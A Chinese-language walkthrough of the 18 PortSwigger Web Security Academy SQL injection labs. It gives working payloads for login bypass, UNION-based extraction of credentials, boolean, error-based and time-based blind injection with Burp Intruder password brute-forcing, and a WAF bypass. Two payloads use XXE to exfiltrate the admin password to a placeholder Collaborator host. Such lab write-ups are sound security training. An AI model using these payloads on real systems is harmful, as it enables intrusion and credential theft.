portswigger靶场SQL注入18个实验
前言
写在攻略之前:
在正式开始你的SQL注入大战之前,你需要知道:
(1)如何使用burpsuite对浏览器请求进行最基本的抓包;
(2)了解MYSQL最基本的查询语句;
(3)该靶场所有的密码,部分隐式表名、字段名均为动态更新数据;
(4)该靶场部分关卡可能会发生更新或增删,欢迎各位大佬在评论区留言!
接下来,让我们一起开启一段实践之旅吧~
实验一:显示隐藏商品
根据题目要求得知,该实验要我们查询隐藏商品。
首先选择一个分类,这里选择Accessories类为例:
在URL后面加上'--
,即https://abc009c03ba0cfa864072e4001b009c.web-security-academy.net/filter?category=Accessories'--
,将Accessories后面的内容注释掉。其中,双短划线--
是 SQL 中的注释符号。应用程序的后端数据库查询语句可能会像这样:
SELECT * FROM products WHERE category = 'Accessories'--' AND price > 50;
在这个查询语句中,单引号用于将 Accessories
字符串括起来,后面的双短划线(--
)将后面的字符串注释掉了,导致查询语句变成了:
SELECT * FROM products WHERE category = 'Accessories';
此时看到查询成功后的页面多出一个商品,我们成果获取了隐藏数据!
那么如何查询到包括隐藏商品在内的所有商品呢?
只需在后面加上一个'or 1=1
的逻辑判断即可,即https://abc009c03ba0cfa864072e4001b009c.web-security-academy.net/filter?category=Accessories'or 1=1--
。因为1=1一定为真,所以查询结果包含所有商品。
可以看到查询返回了所有商品。
我们也可以使用burpsuite来体验抓包并完成SQL注入攻击的过程。
首先确保你已经成功调教好你的burpsuite并知道如何进行基础抓包操作。如果有不清楚的小伙伴可以在评论区留言。以下使用kali linux 2023虚拟机进行操作。
打开火狐浏览器,同样进行普通查询,得到Accessories对应的三个商品。在URL后面加上'or 1=1
查询所有商品。
实验二:绕过登录逻辑
根据题意,该实验要求我们通过SQL攻击得到管理员权限。
首先来到登陆页面,
先任意填一个用户名和密码提交,通过burpsuite抓包可以看到,post数据包有csrf、username、password三个参数。
在administrator后面加上'--
,任意写一个密码,登陆成功。
可以看到post数据包中,用户名后面的数据都被注释掉了:
实验三:UNION攻击查询Oracle数据库的类型和版本
首先使用
order by
语法判断列数。
我们发现在'order by 2
时成功返回查询内容
但是在'oder by 3
后返回报错信息,说明有两列。
根据题目要求,我们使用
union
确定查询返回的列数以及哪些列包含文本数据。使用类别参数中的以下有效载荷验证查询是否返回包含文本的两列:
'union select 'a','a' from dual--
dual是Oracle数据库中的一个虚拟表(或称伪表),它只有一行一列,用于执行没有真实表可用的 SELECT
语句或计算表达式。
可以判断查询返回了包含文本的两列。所以我们用以下查询得到Oracle数据库版本信息:
'union select BANNER,NULL from v$version--
其中,banner是 Oracle 数据库中的一个元数据列,它包含了数据库的版本信息和其他相关信息。在 Oracle 数据库中,可以通过查询 v$version
视图来获取 BANNER
列的值。
可以看到查询结果回显了数据库版本信息:
实验四:UNION攻击查询数据库版本(空格版)
根据题意得知实验四还是要获取数据库版本信息,只不过我们用实验三的手段无法通过order by
进行回显。因此,我们需要在注释--
后面加上一个空格,来确保注释不会因URL截断而与查询语句的其余部分合并在一起,从而导致查询语句出错。同样通过'order by 2--
正确回显,而order by 3--
无法回显,判断有两列。然后查询数据库版本,完整如下:
(https://acd009d0486168080bf036a004e00f7.web-security-academy.net/filter?category=Accessories%27union%20select%20@@version,null--%20)
实验五:UNION攻击获取管理员账号(non-Oracle)
现在来到了更有意思的环节,根据题意,我们需要通过SQL注入攻击获取管理员账号进行登录。老办法,还是先用order by
得到列数为2。
好,接下来我们来理下思路:我们想得到的管理员账号从哪来?是不是保存在一个表中?如果是的话,那个表存储管理员账号和密码的列名又是什么?那张表表名又是什么?想清楚这些问题,问题便能迎刃而解。
首先,为了得到我们需要的那个表名,我们需要知道所有表名。信息模式数据库 information_schema.tables
包含了所有数据库中的表的信息,包括表的名称、列的名称、数据类型、索引信息等。通过这个攻击语句,可以利用数据库中的漏洞,将查询结果发送给攻击者,从而泄露敏感信息。如下列出非Oracle数据库中的内容:
category=Pets'UNION SELECT table_name,NULL FROM information_schema.tables--
回显得所有表名。从中找出对我们有用的表:users_abcdef
知道了表明,接下来我们需要知道表中字段名。信息模式数据库
information_schema.columns
包含了所有数据库中的表的列的信息,包括列的名称、数据类型、默认值等。如下:
'UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_iiczoc'--
由此得到我们需要的列名,分别是账户名和密码:
最后,通过查询该表所有账户名和密码信息,获得管理员账户,成功登录!
'UNION SELECT username_eleukv, password_jxoeff FROM users_iiczoc--
成功登录~
注意,每次进入关卡后数据库名和字段名等都会动态更新,所有直接用别人的攻略信息去登录是没用的哦~
第六关:UNION攻击获取管理员账号(Oracle)
和上一关类似,只是现在需要列出Oracle数据库的内容。all_tables
视图是 Oracle 数据库中的一个系统视图,用于提供关于所有表、视图和同义词的信息,包括它们的名称、拥有者、表空间等信息。如下:
'UNION SELECT table_name,NULL FROM all_tables--
得到所有表名,然后从中获得我们需要的表名:
列出表中字段名,得到我们所需字段名:
'UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_TBIQBQ'--
通过字段名得到所有账户信息,从中获得管理员账户:
'union select USERNAME_ENDWHA,PASSWORD_MUKSVT from USERS_TBIQBQ--
用管理员账户进行登录成功!
第七关:确定列数
这一关很简单,不知道为什么放在这里...直接用order by
查出列数为3,然后用UNION进行SQL空值攻击就过关啦。
'union select null,null,null--
第八关:UNION攻击找出字符串数据匹配的列
同样的,判断出列数为3后,在三个列的位置分别放一个字符串数据去试就ok啦。最后将题目给出的随机字符串放到正确列的位置,成功回显。
'union select null,'tCmavF',null--
第九关:Union攻击从其他表检索数据
还是先通过order by
得到列数为2。因为题目给了表名为users
,列名也分别给出,所以直接union查询:
'UNION SELECT username, password FROM users--
得到管理员账户,成功登录~
第十关:UNION攻击通过一个字段检索出多个值
根据题意,我们知道表名和列名,然后通过order by
知道列数为2。但是问题在于我们不能像之前一样,直接在两列位置查询用户名和密码。我们发现只有第二字段是字符串类型,这意味着第一列总是需要用空值来占位。这里有两种方法可以解决。
第一种是通过SQL语法,查询用户名为administrator的用户对应的密码:
'UNION SELECT null,password from users where username ='administrator'--
但是这种方式默认管理员用户名已知,局限性太大。所以推荐第二种方式进行注入:
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
上面语句将两个 SELECT 查询的结果合并在一起,以便从不同的表中选择不同的列并将它们组合起来。在这个例子中,第一个 SELECT 语句选择了 NULL 常量值作为占位符,第二个 SELECT 语句选择了 username 和 password 列,并使用 '||' 运算符将它们连接起来,并在它们之间添加了一个自定义的分隔符 '~'。
拿到管理员账户,成功登录~
十一关:基于条件返回的SQL盲注
这里我们需要使用burpsuite拦截请求,如果不会调教bp的小伙伴可以去搜搜教程,这里就不细说了。根据题意,我们知道,本关SQL查询的结果不会返回,并且不会显示任何错误消息。但是,如果查询返回任何行,应用程序会在页面中包含一个“welcome back”的消息。而本关的关键在找到cookie里面有一个叫做TrackingId
的参数。
我们将TrackingId
的内容后面添加上' and '1'='1
,页面会返回"Welcome back"。
当输入' and '1'='2
时,不会返回"Welcome back",确定该参数可以SQL盲注。
接下来,在TrackingId
后加上' AND (SELECT 'a' FROM users LIMIT 1)='a
,如果为真,说明users表存在。而我们看到返回了"Welcome back",说明存在表users。
在TrackingId
后加上' AND (SELECT 'a' FROM users WHERE username='administrator')='a
,如果为真,说明存在用户名 administrator。而我们看到返回了"Welcome back",说明存在用户名 administrator。
在TrackingId
后加上' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
,如果为真,说明密码长度大于1;可以手工改变LENGTH(password)>2
后面整数值,也可以使用burp遍历,最终确定密码长度,实际上是20位。(大于19为真,大于20为假)
确定密码长度后,就可以开始确定每个字符是什么,在TrackingId
后加上' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
,判断密码的第一个字符,如果为真,说明是a,如果不为真,依次进行判断,可以用burp的intruder模板进行爆破。这里理论上可以直接点击My account,来到登陆页面,我们已知管理员登录名为administrator,密码随便填一个,提交login请求,使用burpsuite进行拦截,然后用intruder进行暴力破解。但是这需要用到bp专业版,而且相对更为费时,所以我们采用第二种办法。
在TrackingId
后面加上' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
,用于判断密码的第一个字符值是否为a
。这里我们用intruder进行爆破。可以在target中选中拦截的请求,右键选择send to intruder,然后到intruder模块中先点击右边的clear;
在position模块默认攻击类型为狙击手sniper不变,来到payload有效载荷,默认类型为simple list不变。在payload settings添加测试字符,即在有效负载设置下添加从a到z和从0到9的有效负载。之后来到settings模块,因为当密码正确时可以在页面看到Welcome back,所以先清除所有Grep-Match中的值,添加Welcome back。完成以上配置后,start attack!
可以看到上面为攻击结果,当测试字符为g时,grep match字段值为1,说明我们第一位密码为g。类似地,我们可以这样测试后面的19位,便可得出密码。我当时破解出的密码为pprj2pr94ypg0n2wuo2i,当然这只针对我当时的cookie生效。
第十二关:基于条件错误的SQL盲注
根据题意我们知道,如果SQL查询导致错误,应用程序会返回一个自定义的错误消息。还是使用burosuite拦截请求,在cookie的trackingId后面加上'
,可以看到服务端返回的状态码为500。而我们添加两个单引号''
后,正常回显,那么该参数可能存在SQL盲注;
因为返回的500错误是通用的错误,不能确定是SQL语法解析错误还是其他错误。为此构造SQL子查询,非Oracle数据库执行'||(SELECT '')||'
,Oracle数据库执行'||(SELECT '' FROM dual)||'
,如果没有报错,查询一个不存在的表'||(SELECT '' FROM not-a-real-table)||'
,如果报错,则可以确定存在注入。可以看到我们加上from dual后服务端返回200,说明目标使用的是oracle数据库。
当我们把dual换成任意一个不存在的表后,服务端返回500,确定存在盲注。- 接下来很关键,逻辑比较绕,在SQL语句中以from分隔前后,SQL语句执行顺序是先执行from后面的
1. 真 from 真 ==> 真
2. 真 from 假 ==> 真
3. 假 from 真 ==> 假
4. 假 from 假 ==> 真
测试administrator用户是否存在,如果存在,from后面语句为真,因为to_char导致错误为假,返回500;如果不存在,from后面语句为假,查询结果为空,返回200。
TrackingId=abc'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
可以看到,服务端返回500错误,说明from后面语句为真,即存在administrator用户;
接下来确定密码长度,如果密码长度大于1,执行to_char(1/0),返回错误,根据之前的方法确定密码长度20位:
TrackingId=abc'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
可以看到,大于90时服务端返回500,大于20时服务端返回200,所以密码长度为20位。
接下来通过intruder爆破20位密码,详细过程跟上一关一样,只需要和上一关一样上传payload settings,然后观察哪个字符值服务端返回500即可。
最后我得到的密码为5uyu6i6vev912zo84w29,成功登录!
第十三关:基于可见错误的SQL注入
根据题意,我们知道目标存在users表,表中username和password字段存储用户名和密码。
通过TrackingId=abc' AND 1=CAST((SELECT 1) AS int)--
发送请求,服务器正常回显,表明这是一个有效的查询。调整该通用SELECT语句,以从数据库中检索用户名:
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--
观察到收到初始错误消息。注意到由于字符限制,查询似乎被截断了。因此刚刚添加的注释字符没有被包含在内。删除TrackingId cookie的原始值以释放一些额外的字符。重新发送请求。
TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
,收到一个新的错误消息,这似乎是由数据库生成的。这表明查询已经正确运行,但由于返回了多行,仍然会收到错误。 修改查询以仅返回一行:
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
发送请求。观察到错误消息现在泄漏了users表中的第一个用户名:
ERROR: invalid input syntax for type integer: "administrator" 现在我们知道管理员是表中的第一个用户,再次修改查询以泄漏他们的密码:
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
得到密码为gca7w53izc95hzlqd0bf;
成功登录~
第十四关:时延SQL盲注
根据题意,我们知道我们需要利用sql注入完成10秒的时延。因此,我们只需要利用bp抓包,在trackingid后面加上 '||pg_sleep(10)--
即可。
第十五关:基于延时的SQL盲注并且检索数据
- 抓包,还是修改TrackingId参数,TrackingId=x
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
。这里的%3B
代表分号字符的URL编码版本,用于在SQL语句中分隔多个查询。如果不明白该sql查询的意思,可以单独将它拿出来看:
SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
该句使用了一个CASE语句来检查条件。如果条件 (1=1) 成立,则执行 pg_sleep(10),即让数据库休眠 10 秒钟;否则执行 pg_sleep(0),即让数据库休眠 0 秒钟。观察到存在延时,继续修改该语句;
- 修改:TrackingId=x
'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
,观察到返回没有延时,以此判断是boolean型注入; - 判断用户名是否administrator,TrackingId=x
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
,观察到延时,说明存在administrator用户名; - 确定密码长度,实际是20位,TrackingId=x
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
- 确定密码字符,TrackingId=x
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
- 为了能够确定正确字符何时被提交,需要监控应用程序响应每个请求所花费的时间。为了使这个过程尽可能可靠,最好配置入侵者攻击以在单个线程中发出请求。转到resource pool“资源池”选项卡,并将攻击添加到一个最大并发请求设置为1的资源池中。
使用intruder进行爆破时,留意停在哪一个字符值产生了10秒的时延。因此,请确保网络通畅。
当然也可以不那么配置,只需要留意哪个字符值的返回信息返回存在明显延时即可。比如我这里值为q时,相关状态码等信息的显示存在明显时延,因此第一个字符为q。
最后得到密码为qjrkmcz4wevwyfw9uubv,成功登录!
第十六关:带外交互的SQL盲注
这里我们需要让数据库对外部域执行 DNS 查找。先抓包,结合XXE攻击。为了找到正确的有效载荷,我们可以打开SQL注入备忘录,找到DNS lookup,上面有不同数据库对应的有效载荷如果一个个地试可以发现这里是oracle数据库。
然后在trackingId后加上
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
其中EXTRACTVALUE()是对XML文档进行查询和修改的函数。我们需要找到自己的COLLABORATOR子域名替换掉上面的BURP-COLLABORATOR-SUBDOMAIN
。在burpsuite左上角的burp中进入burp collaborator client,注意这里只有bp professional可以打开。打开后点击copy to clipboard复制自己的collaborator子域名并进行替换。点击send,然后点击poll now,使用collaborator server检索DNS交互信息,我们可以发现接收地IP,说明DNS查询成功。
第十七关:通过带外交互获取数据实现SQL盲注
根据题意,我们知道存在users表,存在username和password字段,并存在administrator用户名。在上一关的基础上进行修改,加上查询语句便可得到管理员密码。在trackingId后加上:
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
同样,替换掉你的子域名,send之后点击poll now查询,可以看到返回了密码。
第十八关:通过 XML 编码使用过滤器旁路的 SQL 注入
非常棒,我们已经来到了最后一关!
根据题意,我们知道存在users表,并且提示我们存在网络应用防火墙WAF阻止我们SQL注入。别急,我们先来看看WAF的作用。进入实验,选择一个商品view details,点进去在最下面点击check stock,在burpsuite的proxy里的http history中,找到有一个post请求,它可能会直接与后端交互。将它send to repeator,点击send,这时我们可以尝试一下SQL注入。在productId的1后面加上UNION SELECT NULL
进行测试,可以看到发送后响应里检测到了可能存在的攻击。因此,我们需要绕过WAF完成SQL注入。
在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。
只需选中输入
1 UNION SELECT NULL
,右键单击,然后选择 Hackvertor >extensions >encode > dec_entities /hex_entities,可以看到生成了特殊编码来绕过WAF。
如果我们写两个NULL,会得到下面这样的返回:
所以可以知道,这里只能查询一列,我们需要将用户名密码用一句语句联合查询。
UNION SELECT username || '~' || password FROM users
得到用户名和密码,找到管理员账户,成功登录!